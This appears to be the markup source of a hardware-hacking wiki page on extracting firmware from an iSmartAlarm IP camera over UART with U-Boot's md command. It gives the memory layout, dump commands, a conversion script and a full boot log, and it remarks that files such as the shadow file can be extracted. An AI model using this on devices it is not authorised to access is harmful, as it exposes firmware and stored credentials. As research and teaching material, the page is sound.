The &amp;lt;code&amp;gt;md&amp;lt;/code&amp;gt; command can be used to display memory contents both as hexadecimal and ASCII data. ([http://www.denx.de/wiki/view/DULG/UBootCmdGroupMemory#Section_UBootCmdMd UBootCmdMd]) The &amp;lt;code&amp;gt;md&amp;lt;/code&amp;gt; method can be used to extract the firmware via UART, by dumping the complete or a distinct memory space. In the following the [[ISmartAlarm® ISC5 SPOT IP-Camera]] will be used as example using &amp;lt;code&amp;gt;screen&amp;lt;/code&amp;gt; to save the memory dump to a log file. In this example, &amp;lt;code&amp;gt;screen /dev/tty.usbserial-1410 115200&amp;lt;/code&amp;gt; was used to access the TTY and the &amp;lt;code&amp;gt;CTRL-a H&amp;lt;/code&amp;gt; (log) key binding has been used to start logging of the current window to the file &amp;quot;screenlog.n&amp;quot;. (See: &amp;lt;code&amp;gt;man screen&amp;lt;/code&amp;gt;). So, after the serial line and logging is ready, the memory layout must be identified. This is possible using the &amp;lt;code&amp;gt;mtdparts&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;devinfo&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;printenv&amp;lt;/code&amp;gt; command (and more) if available or through identification of the chip and calculating the memory space based on the chip&#039;s capacity. Alternaively the mtdparts may be printed in the bootlogs or can be accessed if access to a Linux shell has already been acquired via &amp;lt;code&amp;gt;/proc/mtdparts&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;=&amp;gt; help md&lt;br /&gt;
md - memory display&lt;br /&gt;
&lt;br /&gt;
Usage:&lt;br /&gt;
md [.b, .w, .l] address [# of objects]&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: ISmartAlarm® ISC5 SPOT IP-Camera - U-Boot commands&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;sonix # version&lt;br /&gt;
U-Boot 2011.09 (May 22 2015 - 16:07:40)&lt;br /&gt;
arm-linux-gcc (SONiX GCC-4.5.2 Release 2011-12-06) 4.5.2&lt;br /&gt;
GNU ld (GNU Binutils) 2.22&lt;br /&gt;
&lt;br /&gt;
sonix # ?&lt;br /&gt;
?       - alias for &#039;help&#039;&lt;br /&gt;
bdinfo  - print Board Info structure&lt;br /&gt;
boot    - boot default, i.e., run &#039;bootcmd&#039;&lt;br /&gt;
bootm   - boot application image from memory&lt;br /&gt;
cmp     - memory compare&lt;br /&gt;
cp      - memory copy&lt;br /&gt;
crc32   - checksum calculation&lt;br /&gt;
devinfo - devinfo&lt;br /&gt;
dump    - dump image&lt;br /&gt;
erase   - erase FLASH memory&lt;br /&gt;
eraseetc- eraseetc&lt;br /&gt;
fatinfo - print information about filesystem&lt;br /&gt;
fatload - load binary file from a dos filesystem&lt;br /&gt;
fatls   - list files in a directory (default /)&lt;br /&gt;
fatupdate- update firmware from fat32 filesystem&lt;br /&gt;
flinfo  - print FLASH memory information&lt;br /&gt;
go      - start application at address &#039;addr&#039;&lt;br /&gt;
help    - print command description/usage&lt;br /&gt;
hwcrc16 - hwcrc16 - hardware crc16 calculate&lt;br /&gt;
loadb   - load binary file over serial line (kermit mode) and update to flash&lt;br /&gt;
loadkernel- loadkernel&lt;br /&gt;
loady   - load binary file over serial line (ymodem mode) and update to flash&lt;br /&gt;
md      - memory display&lt;br /&gt;
mm      - memory modify (auto-incrementing address)&lt;br /&gt;
mmc     - MMC sub system&lt;br /&gt;
mmcinfo - display MMC info&lt;br /&gt;
mtest   - simple RAM read/write test&lt;br /&gt;
mw      - memory write (fill)&lt;br /&gt;
nand    - NAND sub-system&lt;br /&gt;
nm      - memory modify (constant address)&lt;br /&gt;
printenv- print environment variables&lt;br /&gt;
protect - enable or disable FLASH write protection&lt;br /&gt;
reset   - Perform RESET of the CPU&lt;br /&gt;
saveenv - save environment variables to persistent storage&lt;br /&gt;
setenv  - set environment variables&lt;br /&gt;
spi     - spi - Serial Flash sub-system&lt;br /&gt;
tftpboot- boot image via network using TFTP protocol&lt;br /&gt;
update  - update image, u-env, factory, u-logo, user, kernel, rootfs-r, rootfs-rw&lt;br /&gt;
usb     - USB sub-system&lt;br /&gt;
usbboot - boot from USB device&lt;br /&gt;
verify  - verify image, flash-info, hw-setting, flash-layout, u-boot, rescue, user, factory, kernel, rootfs-r, u-env&lt;br /&gt;
version - print monitor, compiler and linker version&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: ISmartAlarm® ISC5 SPOT IP-Camera - Memory Layout&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;mem=64M&lt;br /&gt;
mtdparts=snx-spi:&lt;br /&gt;
768k(uboot)&lt;br /&gt;
3M(kernel)&lt;br /&gt;
7M(rootfs)&lt;br /&gt;
4M(rescue)&lt;br /&gt;
1M(etc)&lt;br /&gt;
256K(userconfig)&lt;br /&gt;
&lt;br /&gt;
loadkernel 0x00007FFC 0x0;&lt;br /&gt;
bootm 0x00008000&lt;br /&gt;
&lt;br /&gt;
0x00000000,0x00000000 (u-logo)&lt;br /&gt;
0x00000000,0x00000FFF (hw-setting)&lt;br /&gt;
0x00001000,0x0005FFFF (u-boot)&lt;br /&gt;
0x00060000,0x0007EFFF (u-env)&lt;br /&gt;
0x0007F000,0x0007FFFF (flash-layout)&lt;br /&gt;
0x00080000,0x000BFFFF (factory)&lt;br /&gt;
0x000C0000,0x003BFFFF (kernel)&lt;br /&gt;
0x003C0000,0x00ABFFFF (rootfs-r)&lt;br /&gt;
0x00AC0000,0x00EBFFFF (rescue)&lt;br /&gt;
0x00EC0000,0x00FBFFFF (rootfs-rw)&lt;br /&gt;
0x00FC0000,0x00FFFFFF (user)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The example device uses an 64MB SOP8 SPI chip to store the firmware. Based on the &amp;lt;code&amp;gt;mtdparts&amp;lt;/code&amp;gt;, the memory space is &amp;lt;code&amp;gt;0x00000000-0x00FFFFFF&amp;lt;/code&amp;gt;. this may be adapted to extract only a specific MTD partition. It is even possible to extract single files, like the shadow file, if the right memory address can be identified. It took 2 hours for extracting 64MB via UART. Additionnally, the device restarted automatically after 5min. This could be solved by monitoring the status and relaunching the memory dump from the last successfully received Byte. In any case, screenlog must be santized before continuing, by removing any additional text, which is not related to the actual memory dump. The actual command for extracting the whole memory is listed below. The &amp;lt;code&amp;gt;.b&amp;lt;/code&amp;gt; output format is required for the next step.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;=&amp;gt; md.b 0x0 0xFFFFFF&lt;br /&gt;
00000000: 0e 00 00 ea 80 6b d9 03 c4 6b d9 03 94 6b d9 03    .....k...k...k..&lt;br /&gt;
00000010: c8 6b d9 03 fc 5b d8 03 14 f0 9f e5 14 f0 9f e5    .k...[..........&lt;br /&gt;
00000020: 04 04 00 00 00 00 00 00 14 04 00 00 24 04 00 00    ............$...&lt;br /&gt;
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
00000040: 00 00 0f e1 1f 00 c0 e3 d3 00 80 e3 00 f0 2f e1    ............../.&lt;br /&gt;
&lt;br /&gt;
[...]&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;!--&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Example: ISmartAlarm® ISC5 SPOT IP-Camera - Memory Dump Extract&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;sonix # md.b 0x0 0xFFFFFF&lt;br /&gt;
00000000: 0e 00 00 ea 80 6b d9 03 c4 6b d9 03 94 6b d9 03    .....k...k...k..&lt;br /&gt;
00000010: c8 6b d9 03 fc 5b d8 03 14 f0 9f e5 14 f0 9f e5    .k...[..........&lt;br /&gt;
00000020: 04 04 00 00 00 00 00 00 14 04 00 00 24 04 00 00    ............$...&lt;br /&gt;
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
00000040: 00 00 0f e1 1f 00 c0 e3 d3 00 80 e3 00 f0 2f e1    ............../.&lt;br /&gt;
&lt;br /&gt;
[...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Check that the log does not any additional non-printable characters&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
With this format, each line consits of 78 characters including the newline. This results in 78 Bytes transmitted, which effectivly represent only 16 Byte of Data, leading to an 80% overhead. It is obvious, that the the memory dump format is not usuable as is. The dump must be parse to get the original binary dump. For this [&lt;br /&gt;
https://github.com/gmbnomis/uboot-mdb-dump uboot-mdb-dump] script can be used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;python3 uboot_mdb_to_image.py &amp;lt; memory_dump.txt &amp;gt; memory_dump.bin&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h5&amp;gt;Bootlog (Factory Default)&amp;lt;/h5&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: Spot - Smart Home Security Camera&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;U-Boot 2011.09 (May 22 2015 - 16:07:40)&lt;br /&gt;
&lt;br /&gt;
DRAM:  64 MiB&lt;br /&gt;
MMC:   SD Card not detect&lt;br /&gt;
mmci_host_init error - -1&lt;br /&gt;
&lt;br /&gt;
SPI FLASH: 16 MB&lt;br /&gt;
In:    serial&lt;br /&gt;
Out:   serial&lt;br /&gt;
Err:   serial&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
Hit any key to stop autoboot:  0 &lt;br /&gt;
roofsr size = 0x63b070&lt;br /&gt;
## Booting kernel from Legacy Image at 00008000 ...&lt;br /&gt;
   Image Name:   Linux-2.6.35.12&lt;br /&gt;
   Image Type:   ARM Linux Kernel Image (uncompressed)&lt;br /&gt;
   Data Size:    2947968 Bytes = 2.8 MiB&lt;br /&gt;
   Load Address: 00008000&lt;br /&gt;
   Entry Point:  00008040&lt;br /&gt;
   Verifying Checksum ... OK&lt;br /&gt;
   XIP Kernel Image ... OK&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
Starting kernel ...&lt;br /&gt;
&lt;br /&gt;
Uncompressing Linux... done, booting the kernel.&lt;br /&gt;
Linux version 2.6.35.12 (fedora@localhost.localdomain) (gcc version 4.5.2 (SONiX GCC-4.5.2 Release 2011-12-06) ) #4 Tue Feb 14 21:56:47 PST 2017&lt;br /&gt;
CPU: ARM926EJ-S [41069265] revision 5 (ARMv5TEJ), cr=00057177&lt;br /&gt;
CPU: VIVT data cache, VIVT instruction cache&lt;br /&gt;
Machine: SONiX SN98600 Development Platform&lt;br /&gt;
Memory policy: ECC disabled, Data cache writeback&lt;br /&gt;
CPU: found ITCM 16k @ ffff4000, enabled&lt;br /&gt;
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 16256&lt;br /&gt;
Kernel command line: console=ttyS0,115200 root=/dev/mtdblock2 init=/linuxrc mem=64M isp=7M vc=12M vo=0M mtdparts=snx-spi:768k(uboot),3M(kernel),7M(rootfs),4M(rescue),1M(etc),256K(userconfig)&lt;br /&gt;
PID hash table entries: 256 (order: -2, 1024 bytes)&lt;br /&gt;
Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)&lt;br /&gt;
Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)&lt;br /&gt;
Memory: 64MB = 64MB total&lt;br /&gt;
Memory: 40116k/40116k available, 25420k reserved, 0K highmem&lt;br /&gt;
Virtual kernel memory layout:&lt;br /&gt;
    vector  : 0xffff0000 - 0xffff1000   (   4 kB)&lt;br /&gt;
    fixmap  : 0xfff00000 - 0xfffe0000   ( 896 kB)&lt;br /&gt;
    DMA     : 0xffa00000 - 0xffe00000   (   4 MB)&lt;br /&gt;
    vmalloc : 0xc4800000 - 0xe0000000   ( 440 MB)&lt;br /&gt;
    lowmem  : 0xc0000000 - 0xc4000000   (  64 MB)&lt;br /&gt;
    modules : 0xbf000000 - 0xc0000000   (  16 MB)&lt;br /&gt;
      .init : 0xc0008000 - 0xc0024000   ( 112 kB)&lt;br /&gt;
      .text : 0xc0024000 - 0xc04be000   (4712 kB)&lt;br /&gt;
      .data : 0xc04dc000 - 0xc0505a80   ( 167 kB)&lt;br /&gt;
SLUB: Genslabs=11, HWalign=32, Order=0-3, MinObjects=0, CPUs=1, Nodes=1&lt;br /&gt;
Hierarchical RCU implementation.&lt;br /&gt;
	RCU-based detection of stalled CPUs is disabled.&lt;br /&gt;
	Verbose stalled-CPUs detection is disabled.&lt;br /&gt;
NR_IRQS:96&lt;br /&gt;
Console: colour dummy device 80x30&lt;br /&gt;
console [ttyS0] enabled&lt;br /&gt;
Calibrating delay loop... 179.40 BogoMIPS (lpj=897024)&lt;br /&gt;
pid_max: default: 32768 minimum: 301&lt;br /&gt;
Mount-cache hash table entries: 512&lt;br /&gt;
CPU: Testing write buffer coherency: ok&lt;br /&gt;
NET: Registered protocol family 16&lt;br /&gt;
0x00700000 bytes system memory reserved for isp device at 0x005b9000&lt;br /&gt;
0x00c00000 bytes system memory reserved for vc device at 0x00cb9000&lt;br /&gt;
bio: create slab &amp;lt;bio-0&amp;gt; at 0&lt;br /&gt;
SCSI subsystem initialized&lt;br /&gt;
usbcore: registered new interface driver usbfs&lt;br /&gt;
usbcore: registered new interface driver hub&lt;br /&gt;
usbcore: registered new device driver usb&lt;br /&gt;
Linux media interface: v0.10&lt;br /&gt;
Linux video capture interface: v2.00&lt;br /&gt;
Advanced Linux Sound Architecture Driver Version 1.0.23.&lt;br /&gt;
cfg80211: Calling CRDA to update world regulatory domain&lt;br /&gt;
Switching to clocksource ft_clocksource&lt;br /&gt;
NET: Registered protocol family 2&lt;br /&gt;
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)&lt;br /&gt;
TCP established hash table entries: 2048 (order: 2, 16384 bytes)&lt;br /&gt;
TCP bind hash table entries: 2048 (order: 1, 8192 bytes)&lt;br /&gt;
TCP: Hash tables configured (established 2048 bind 2048)&lt;br /&gt;
TCP reno registered&lt;br /&gt;
UDP hash table entries: 256 (order: 0, 4096 bytes)&lt;br /&gt;
UDP-Lite hash table entries: 256 (order: 0, 4096 bytes)&lt;br /&gt;
NET: Registered protocol family 1&lt;br /&gt;
RPC: Registered udp transport module.&lt;br /&gt;
RPC: Registered tcp transport module.&lt;br /&gt;
RPC: Registered tcp NFSv4.1 backchannel transport module.&lt;br /&gt;
exFAT: Version 1.2.9&lt;br /&gt;
JFFS2 version 2.2. (NAND) © 2001-2006 Red Hat, Inc.&lt;br /&gt;
fuse init (API version 7.14)&lt;br /&gt;
msgmni has been set to 78&lt;br /&gt;
async_tx: api initialized (async)&lt;br /&gt;
io scheduler noop registered&lt;br /&gt;
io scheduler deadline registered (default)&lt;br /&gt;
SONIX UART driver, (c) 2013 Sonix&lt;br /&gt;
snx_uart.0: ttyS0 at MMIO 0x98a00000 (irq = 8) is a SONiX&lt;br /&gt;
snx_uart.1: ttyS1 at MMIO 0x98b00000 (irq = 10) is a SONiX&lt;br /&gt;
brd: module loaded&lt;br /&gt;
loop: module loaded&lt;br /&gt;
6 cmdlinepart partitions found on MTD device snx-spi&lt;br /&gt;
Creating 6 MTD partitions on &amp;quot;snx-spi&amp;quot;:&lt;br /&gt;
0x000000000000-0x0000000c0000 : &amp;quot;uboot&amp;quot;&lt;br /&gt;
0x0000000c0000-0x0000003c0000 : &amp;quot;kernel&amp;quot;&lt;br /&gt;
0x0000003c0000-0x000000ac0000 : &amp;quot;rootfs&amp;quot;&lt;br /&gt;
0x000000ac0000-0x000000ec0000 : &amp;quot;rescue&amp;quot;&lt;br /&gt;
0x000000ec0000-0x000000fc0000 : &amp;quot;etc&amp;quot;&lt;br /&gt;
0x000000fc0000-0x000001000000 : &amp;quot;userconfig&amp;quot;&lt;br /&gt;
snx_spi_init register&lt;br /&gt;
PPP generic driver version 2.4.2&lt;br /&gt;
PPP Deflate Compression module registered&lt;br /&gt;
PPP BSD Compression module registered&lt;br /&gt;
SONiX Ethernet driver, (c) 2013 Sonix&lt;br /&gt;
eth0: Dropping NETIF_F_SG since no checksum feature.&lt;br /&gt;
snx_mac: SNX Ethernet MAC controller at 0x90500000 (irq = 17) 00:b0:27:08:90:14.&lt;br /&gt;
10 Mbps HalfDuplex (Auto Negotiation)&lt;br /&gt;
usbcore: registered new interface driver catc&lt;br /&gt;
catc: v2.8:CATC EL1210A NetMate USB Ethernet driver&lt;br /&gt;
usbcore: registered new interface driver r8152&lt;br /&gt;
usbcore: registered new interface driver zd1211rw&lt;br /&gt;
ehci_hcd: USB 2.0 &#039;Enhanced&#039; Host Controller (EHCI) Driver&lt;br /&gt;
snx_ehci snx_ehci.0: snx_ehci&lt;br /&gt;
snx_ehci snx_ehci.0: new USB bus registered, assigned bus number 1&lt;br /&gt;
snx_ehci snx_ehci.0: irq 24, io mem 0x90800000&lt;br /&gt;
snx_ehci snx_ehci.0: USB 0.0 started, EHCI 0.96&lt;br /&gt;
usb usb1: New USB device found, idVendor=1d6b, idProduct=0002&lt;br /&gt;
usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1&lt;br /&gt;
usb usb1: Product: snx_ehci&lt;br /&gt;
usb usb1: Manufacturer: Linux 2.6.35.12 ehci_hcd&lt;br /&gt;
usb usb1: SerialNumber: sonix-ehci&lt;br /&gt;
hub 1-0:1.0: USB hub found&lt;br /&gt;
hub 1-0:1.0: 1 port detected&lt;br /&gt;
Initializing USB Mass Storage driver...&lt;br /&gt;
usbcore: registered new interface driver usb-storage&lt;br /&gt;
USB Mass Storage support registered.&lt;br /&gt;
usbcore: registered new interface driver usbserial&lt;br /&gt;
USB Serial support registered for generic&lt;br /&gt;
usbcore: registered new interface driver usbserial_generic&lt;br /&gt;
usbserial: USB Serial Driver core&lt;br /&gt;
USB Serial support registered for GSM modem (1-port)&lt;br /&gt;
usbcore: registered new interface driver option&lt;br /&gt;
option: v0.7.2:USB Driver for GSM modems&lt;br /&gt;
USB Serial support registered for pl2303&lt;br /&gt;
usbcore: registered new interface driver pl2303&lt;br /&gt;
pl2303: Prolific PL2303 USB to serial adaptor driver&lt;br /&gt;
mice: PS/2 mouse device common for all mice&lt;br /&gt;
i2c /dev entries driver&lt;br /&gt;
SONIX SNX I2C adapter driver, (c) 2012 Sonix&lt;br /&gt;
snx_i2c.0: SNX I2C0 controller at 0x98300000 (irq = 1)&lt;br /&gt;
snx_i2c.1: SNX I2C1 controller at 0x98400000 (irq = 2)&lt;br /&gt;
snx_hdma snx_hdma: SNX AHB DMA Controller (memcpy memset), 4 channels&lt;br /&gt;
SNX AHB DMA driver register&lt;br /&gt;
usbcore: registered new interface driver hiddev&lt;br /&gt;
usbcore: registered new interface driver usbhid&lt;br /&gt;
usbhid: USB HID core driver&lt;br /&gt;
usbcore: registered new interface driver snd-usb-audio&lt;br /&gt;
ALSA device list:&lt;br /&gt;
  No soundcards found.&lt;br /&gt;
IPv4 over IPv4 tunneling driver&lt;br /&gt;
GRE over IPv4 tunneling driver&lt;br /&gt;
ip_tables: (C) 2000-2006 Netfilter Core Team&lt;br /&gt;
TCP cubic registered&lt;br /&gt;
NET: Registered protocol family 10&lt;br /&gt;
lo: Disabled Privacy Extensions&lt;br /&gt;
tunl0: Disabled Privacy Extensions&lt;br /&gt;
IPv6 over IPv4 tunneling driver&lt;br /&gt;
sit0: Disabled Privacy Extensions&lt;br /&gt;
ip6tnl0: Disabled Privacy Extensions&lt;br /&gt;
NET: Registered protocol family 17&lt;br /&gt;
lib80211: common routines for IEEE802.11 drivers&lt;br /&gt;
i2c_gpio i2c_gpio.2: using pins 16 (SDA) and 15 (SCL, no clock stretching)&lt;br /&gt;
VFS: Mounted root (cramfs filesystem) readonly on device 31:2.&lt;br /&gt;
Freeing init memory: 112K&lt;br /&gt;
hub 1-0:1.0: /run/media/fedora/software/snx_sdk/kernel/linux-2.6.35.12/src/drivers/usb/core/hub.c 3347: state 7 ports 1 chg 0002 evt 0000&lt;br /&gt;
hub 1-0:1.0: port 1, status 0501, change 0000, 480 Mb/s&lt;br /&gt;
Create device file&lt;br /&gt;
usb 1-1: new high speed USB device using snx_ehci and address 2&lt;br /&gt;
usb 1-1: New USB device found, idVendor=04b4, idProduct=6570&lt;br /&gt;
usb 1-1: New USB device strings: Mfr=0, Product=1, SerialNumber=0&lt;br /&gt;
usb 1-1: Product: USB2.0 Hub&lt;br /&gt;
hub 1-1:1.0: USB hub found&lt;br /&gt;
hub 1-1:1.0: 4 ports detected&lt;br /&gt;
hub 1-1:1.0: /run/media/fedora/software/snx_sdk/kernel/linux-2.6.35.12/src/drivers/usb/core/hub.c 3347: state 7 ports 4 chg 0004 evt 0000&lt;br /&gt;
hub 1-1:1.0: port 2, status 0101, change 0000, 12 Mb/s&lt;br /&gt;
snx_crypto driver loaded.&lt;br /&gt;
sonix crypto diver register&lt;br /&gt;
sonix_nvram_init&lt;br /&gt;
Init nvram id: 1303281516&lt;br /&gt;
Init nvram_crc id: 0x6848&lt;br /&gt;
nvram_check crc = 6848 crc_ref = 6848&lt;br /&gt;
SONIX Kernel NVRAM initialized&lt;br /&gt;
&lt;br /&gt;
starting pid 516, tty &#039;&#039;: &#039;/usr/bin/pars_diff 10&#039;&lt;br /&gt;
remove only in etc size = 10 &lt;br /&gt;
2&lt;br /&gt;
1&lt;br /&gt;
run mode = 0,0&lt;br /&gt;
run in normal boot&lt;br /&gt;
VERSIZE = 64&lt;br /&gt;
 --- mtd status-&lt;br /&gt;
mtdblock2&lt;br /&gt;
now is run on _FWORI&lt;br /&gt;
usb 1-1.2: new high speed USB device using snx_ehci and address 3&lt;br /&gt;
usb 1-1.2: New USB device found, idVendor=0a5c, idProduct=bd1e&lt;br /&gt;
usb 1-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3&lt;br /&gt;
usb 1-1.2: Product: Remote Download Wireless Adapter&lt;br /&gt;
usb 1-1.2: Manufacturer: Broadcom&lt;br /&gt;
usb 1-1.2: SerialNumber: 000000000001&lt;br /&gt;
6144+0 records in&lt;br /&gt;
6144+0 records out&lt;br /&gt;
3145728 bytes (3.0MB) copied, 1.663769 seconds, 1.8MB/s&lt;br /&gt;
hub 1-1:1.0: /run/media/fedora/software/snx_sdk/kernel/linux-2.6.35.12/src/drivers/usb/core/hub.c 3347: state 7 ports 4 chg 0000 evt 0004&lt;br /&gt;
kernel_size = 2cfbc0&lt;br /&gt;
/tmp/now_version&lt;br /&gt;
diff: can&#039;t stat &#039;/etc/SNIP39/SNIP39_VERSION.conf&#039;: No such file or directory&lt;br /&gt;
xxxxxx-No Need todo ETC Update-xxxxxx&lt;br /&gt;
&lt;br /&gt;
starting pid 534, tty &#039;&#039;: &#039;/etc/init.d/rcS&#039;&lt;br /&gt;
Load drivers...&lt;br /&gt;
Sonix GPIO Driver&lt;br /&gt;
Load video drivers...&lt;br /&gt;
Load audio drivers...&lt;br /&gt;
snx_sd_initial:1011: SD initialisation done.&lt;br /&gt;
snx_sd_initial:1011: SD initialisation done.&lt;br /&gt;
version: 0.2&lt;br /&gt;
argv=-n&lt;br /&gt;
nvfn=/usr/share/WUBB-738GN_4.2/Wi-Fi/nvram_wubb-743gn.nvm&lt;br /&gt;
argv=/usr/share/WUBB-738GN_4.2/Wi-Fi/cooee.bin.trx&lt;br /&gt;
fwfn=/usr/share/WUBB-738GN_4.2/Wi-Fi/cooee.bin.trx&lt;br /&gt;
argv=-C&lt;br /&gt;
cnt=10&lt;br /&gt;
Vendor 0x4b4 ID 0x6570&lt;br /&gt;
Vendor 0xa5c ID 0xbd1e&lt;br /&gt;
claiming interface 0&lt;br /&gt;
Found device: vend=0xa5c prod=0xbd1e&lt;br /&gt;
ID : Chip 0xa887 Rev 0x2 RamSize 458752 RemapBase 0x60000000 BoSNX_AUDIO: driver register.&lt;br /&gt;
ardType 0 BoardRev 0&lt;br /&gt;
Final fw_path=/usr/share/WUBB-738GN_4.2/Wi-Fi/cooee.bin.trx&lt;br /&gt;
Final nv_path=/usr/share/WUBB-738GN_4.2/Wi-Fi/nvram_wubb-743gn.nvm&lt;br /&gt;
soc-camera-pdrv soc-camera-pdrv.0: Probing soc-camera-pdrv.0&lt;br /&gt;
SNX_SIGMA: adc submod driver init ok.&lt;br /&gt;
ar0330 stop streaming&lt;br /&gt;
ar0130 0-0030: ar0130 Product ID 2402&lt;br /&gt;
SNX_R2R: dac submod driver init ok.&lt;br /&gt;
File Length: 370020&lt;br /&gt;
start&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
rdl.state 0x4&lt;br /&gt;
elapsed download time 0.355542&lt;br /&gt;
libusb:error [op_get_config_descriptor] open &#039;/dev/bus/usb/001/001&#039; failed, ret=-1 errno=2&lt;br /&gt;
libusb-compat error: usb_find_devices: couldn&#039;t initialize device 1.1 (error -5)&lt;br /&gt;
Vendor 0x4b4 ID 0x6570&lt;br /&gt;
Vendor 0xa5c ID 0xbd1e&lt;br /&gt;
No devices found&lt;br /&gt;
Error: usbdev_find ... cnt=0&lt;br /&gt;
&lt;br /&gt;
get max fps from IQ.bin is 0, set max fps to 30firmware: IQ.bin OK!&lt;br /&gt;
hub 1-1:1.0: /run/media/fedora/software/snx_sdk/kernel/linux-2.6.35.12/src/drivers/usb/core/hub.c 3347: state 7 ports 4 chg 0000 evt 0004&lt;br /&gt;
hub 1-1:1.0: port 2, status 0101, change 0001, 12 Mb/s&lt;br /&gt;
usb 1-1.2: USB disconnect, address 3&lt;br /&gt;
snx_isp snx_isp.0: ISP Camera driver loaded&lt;br /&gt;
snx_vc snx_vc: sonix_vc device registered as /dev/video1&lt;br /&gt;
snx_vc snx_vc: sonix_vc device registered as /dev/video1&lt;br /&gt;
snx_vc snx_vc: sonix_vc device registered as /dev/video2&lt;br /&gt;
snx_vc snx_vc: sonix_vc device registered as /dev/video2&lt;br /&gt;
usb 1-1.2: new high speed USB device using snx_ehci and address 4&lt;br /&gt;
usb 1-1.2: New USB device found, idVendor=0a5c, idProduct=0bdc&lt;br /&gt;
usb 1-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3&lt;br /&gt;
usb 1-1.2: Product: BCMUSB 802.11 Wireless Adapter&lt;br /&gt;
usb 1-1.2: Manufacturer: Broadcom&lt;br /&gt;
usb 1-1.2: SerialNumber: 18776&lt;br /&gt;
hub 1-1:1.0: /run/media/fedora/software/snx_sdk/kernel/linux-2.6.35.12/src/drivers/usb/core/hub.c 3347: state 7 ports 4 chg 0000 evt 0004&lt;br /&gt;
